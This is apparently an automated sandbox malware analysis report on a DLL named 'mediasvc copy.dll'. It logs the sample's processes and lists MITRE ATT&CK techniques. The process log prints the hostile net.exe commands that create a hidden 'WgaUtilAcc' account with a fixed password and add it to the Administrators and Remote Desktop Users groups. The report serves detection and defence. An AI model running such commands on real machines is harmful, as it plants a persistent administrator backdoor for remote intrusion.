Start time:	15:52:26
Start date:	03/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
Imagebase:	0x7ff6a19e0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exe PID: 1020 Parent PID: 7108

General

Start time:	15:52:27
Start date:	03/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C net.exe user WgaUtilAcc ph9ZVf2Q /add
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: net.exe PID: 6344 Parent PID: 1020

General

Start time:	15:52:27
Start date:	03/12/2020
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net.exe user WgaUtilAcc ph9ZVf2Q /add
Imagebase:	0x7ff7fdd20000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: net1.exe PID: 2588 Parent PID: 6344

General

Start time:	15:52:27
Start date:	03/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q /add
Imagebase:	0x7ff6a19e0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exe PID: 5908 Parent PID: 7108

General

Start time:	15:52:28
Start date:	03/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 5892 Parent PID: 7108

General

Start time:	15:52:28
Start date:	03/12/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,__dbk_fcall_wrapper
Imagebase:	0x7ff630ed0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: net.exe PID: 6048 Parent PID: 5908

General

Start time:	15:52:28
Start date:	03/12/2020
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Imagebase:	0x7ff7fdd20000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: net1.exe PID: 1808 Parent PID: 6048

General

Start time:	15:52:29
Start date:	03/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Imagebase:	0x7ff6a19e0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exe PID: 5588 Parent PID: 7108

General

Start time:	15:52:30
Start date:	03/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: net.exe PID: 5576 Parent PID: 5588

General

Start time:	15:52:30
Start date:	03/12/2020
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Imagebase:	0x7ff7fdd20000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: net1.exe PID: 6588 Parent PID: 5576

General

Start time:	15:52:30
Start date:	03/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' user /ADD
Imagebase:	0x7ff6a19e0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exe PID: 6720 Parent PID: 7108

General

Start time:	15:52:31
Start date:	03/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: net.exe PID: 6392 Parent PID: 6720

General

Start time:	15:52:31
Start date:	03/12/2020
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Imagebase:	0x7ff7fdd20000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: net1.exe PID: 6388 Parent PID: 6392

General

Start time:	15:52:31
Start date:	03/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Imagebase:	0x7ff6a19e0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: rundll32.exe PID: 6368 Parent PID: 7108

General

Start time:	15:52:31
Start date:	03/12/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,dbkFCallWrapperAddr
Imagebase:	0x7ff630ed0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: cmd.exe PID: 6216 Parent PID: 7108

General

Start time:	15:52:32
Start date:	03/12/2020
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C net.exe user WgaUtilAcc ph9ZVf2Q
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: net.exe PID: 5604 Parent PID: 6216

General

Start time:	15:52:32
Start date:	03/12/2020
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net.exe user WgaUtilAcc ph9ZVf2Q
Imagebase:	0x7ff7fdd20000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: net1.exe PID: 5704 Parent PID: 5604

General

Start time:	15:52:33
Start date:	03/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q
Imagebase:	0x7ff6a19e0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: rdpvideominiport.sys PID: 4 Parent PID: -1

General

Start time:	15:52:34
Start date:	03/12/2020
Path:	C:\Windows\System32\drivers\rdpvideominiport.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	30616 bytes
MD5 hash:	0600DF60EF88FD10663EC84709E5E245
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Analysis Process: rdpdr.sys PID: 4 Parent PID: -1

General

Start time:	15:52:35
Start date:	03/12/2020
Path:	C:\Windows\System32\drivers\rdpdr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	182784 bytes
MD5 hash:	52A6CC99F5934CFAE88353C47B6193E7
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Analysis Process: rundll32.exe PID: 6644 Parent PID: 7108

General

Start time:	15:52:35
Start date:	03/12/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,euefnaiw
Imagebase:	0x7ff630ed0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: tsusbhub.sys PID: 4 Parent PID: -1

General

Start time:	15:52:35
Start date:	03/12/2020
Path:	C:\Windows\system32\drivers\tsusbhub.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	126464 bytes
MD5 hash:	3A84A09CBC42148A0C7D00B3E82517F1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Analysis Process: rundll32.exe PID: 6948 Parent PID: 7108

General

Start time:	15:52:38
Start date:	03/12/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,gusiezo3
Imagebase:	0x7ff630ed0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: rundll32.exe PID: 1748 Parent PID: 7108

General

Start time:	15:52:42
Start date:	03/12/2020
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,hitit
Imagebase:	0x7ff630ed0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: WerFault.exe PID: 6588 Parent PID: 7108

General

Start time:	15:52:47
Start date:	03/12/2020
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7108 -s 1152
Imagebase:	0x7ff7757c0000
File size:	494488 bytes
MD5 hash:	2AFFE478D86272288BBEF5A00BBEF6A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	AWS CloudTrail logs, Authentication logs, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
Tactics:	Defense Evasion
Data Sources:	Authentication logs, File monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report mediasvc copy.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: loaddll64.exe PID: 7108 Parent PID: 5824